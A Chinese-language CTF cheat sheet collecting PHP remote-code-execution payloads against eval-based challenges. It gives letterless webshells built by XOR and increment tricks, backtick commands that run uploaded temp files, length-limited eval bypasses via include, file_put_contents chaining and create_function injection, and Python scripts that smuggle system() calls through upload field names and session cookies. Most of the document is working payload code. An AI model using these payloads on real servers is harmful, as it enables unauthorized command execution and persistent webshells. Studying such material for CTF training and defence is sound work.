只是总结一些常见的姿势,大佬轻喷
一个经典的示例
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
在eval中执行,相当于用传入内容创建了一个新的php文件,也就是说<?= 这些也是可以用的
在没有字母的情况下,php5可以通过
这个$_,会被php按照callable $callback
,处理,字符串会寻找对应的函数执行,数组会调对应的类方法等,
但是这种方式需要变量符$
在php7中,新增了('phpinfo')();执行命令的方式
也可以通过`` 直接执行系统命令
我们可以通过其他的方式得到字母,,通过变量或者() 'phpinfo')();进行执行
数字通过类型转换和自增很容易得到
-([].[]) //0
+$_ //0
$_ = +!-([] . []) //1
++$_ //2
所以现在的问题是,我们怎么得到字母
在进行运算时,比如字符链接. 操作,会把运算对象强转字符串,我们可以通过强转操作得到部分字母,但是要构造webshell还不够,所以通过下面的姿势得到
php字符串是按照单字节存储的,并且可以按单字节进行位运算的
我们可以通过位运算,把非字母数字的字符,转成字母数字
生成指定异或的脚本
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
简单的示例
@$_++; //1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[777]);
如果碰到ascii限制比较多的题目,也可以通过
((1 / 0) . Φ){1}
((9999999999999999999 ** 99999999999999999) . Φ)
得到其他字符,然后在进行位运算,生成需要的字符
可以参考RCTF2020 calc
在处理字符变量的算数运算时,自曾操作会'a'++ => 'b'
,'b'++ => 'c'
,所以我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符
那么,我们怎么得到第一个字母呢
var_dump(([] . Φ)[0]); //A
var_dump(([] . Φ)[3]); //a
利用数组强转字符串会变为Array 得到需要的字符
示例
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$_POST[__] = 'system';
$_POST[_] = 'dir';
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$_[__]($_[_]); //$_POST[__]($POST[_])
如果没有禁止反引号,
是可以直接执行系统命令的
但是同样,反引号内没有字母,这样也有两个姿势
利用``内$会解析的特性,通过位运算,执行系统命令
姿势一:
`. /???/????????[@-[]`
直接传入,请求的同时上传一个恶意的shell文件,
最后的[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母,所以我们可能需要多试几次.
当然这样是没有回显的,我们可以通过<?=标签获得回显
最终payload如下
?><?=`. /???/????????[@-[]`;?>
一些其他的姿势
code=?><?=`/???/??? ????.???`?>
匹配/bin/cat flag.php 直接输出flag
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
利用位运算生成$_GET并且先被解析,我们只要GET传参%a0即可执行系统命令。
一个简单的示例
<?php
$param = $_REQUEST['param'];
eval($param);;
当然ctf的情况不会这么简单,肯定会有一些限制,
比如
$param = $_REQUEST['param'];
if (
strlen($param) < 17 &&
stripos($param, 'eval') === false &&
stripos($param, 'assert') === false
) {
eval($param);
}
这种情况下,也有一些payload可用,
大概思路是利用外部get引入payload,进行执行
或者想办法写入一个文件,进行包含操作
姿势一:
`$_GET[1]`
是php的执行运算符,同shell_exec("") ,如果disable_function ban了shell_exec ,那么也无法使用,注意
是会先按照php 的"规则,来处理里面的输入的,也就是说,里面的php变量会被解析,
相似姿势exec($_GET[1])
姿势二:
include$_GET[1]
会包含执行$_GET[1]地址中的内容
然后就可以参考LFI/RFI的姿势进行rce
也可以利用现在长度的命令执行多次调用
index.php?1=file_put_contents¶m=$_GET[1](N,P,8)
index.php?1=file_put_contents¶m=$_GET[1](N,D,8)
...
index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1]
8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,通过多次调用写文件操作,把shell的base64写入,然后包含执行
姿势三:
param传入usort(...$_GET);
然后执行任意命令
http://127.0.0.1:60777/?1[]=}eval($_POST[_]);/*&1[]=&2=create_function
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://xz.aliyun.com/t/8107#toc-0
https://xz.aliyun.com/t/7742#toc-0
https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/
https://www.anquanke.com/post/id/207492
基本形式,
<?php $code = $_GET['code']; if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } }
[a-z]+\((?R)?\)
利用这个正则对输入进行匹配,这个正则需要满足a(b())这种形式.因为判断是是替换为空后===;
所以也可以是if(a(b()))c(d())这种形式
基本思路还是利用利用超全局变量进行bypass,rce
或者利用函数得到文件名,直接读flag文件
方法一:
利用外部变量引入
getallheaders() 获取全部 HTTP 请求头信息, 是下方函数的别名
apache_request_headers 获取全部 HTTP 请求头信息
这两个函数只适用于apache服务器
get_defined_vars() 函数返回由所有已定义变量所组成的数组。包括$_GET,$_POST,$FILE
session_id() 可以用来获取/设置 当前会话 ID,session_id cookie可控
利用姿势
code=eval(pos(getallheaders())); //在第一个
code=eval(end(getallheaders())); //在最后一个
eval(array_rand(array_flip(getallheaders()))); //爆破位置
eval(end(current(get_defined_vars()))); //利用$_GET传参
# 利用$_FILE
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
# 利用session_id
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo '1';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
方法二: 直接读文件
var_dump(scandir(dirname(chdir(dirname(getcwd()))))); //列目录
var_dump(scandir(dirname(chdir(dirname(current(localeconv())))))); //列目录
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); //读文件
参考资料
如果语句是这种形式<?php phpinfo()?>
,是可以不用;的,
而在eval中,是可以使用多个?>的,所以
<?=$_=[].''?>
<?=$_=[].''?>
可以绕过;的限制
在php7开始,assert改语言结构了,不能在动态拼接,执行
可以使用
create_function('$arg){}var_dump(1);//', '');
create_function('', '}var_dump(1);/*');
create_function('', 'phpinfo()')(); //限php7
替代
php的变量名是没有仅下划线和数字字母的限制的,
甚至0字节都可以作为变量名,
在构造shell为了方便显示我们可以使用https://graphemica.com/unicode/characters/page/4一些可显示的特殊
Unicode码,作为不同的变量,方便构造
如
/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>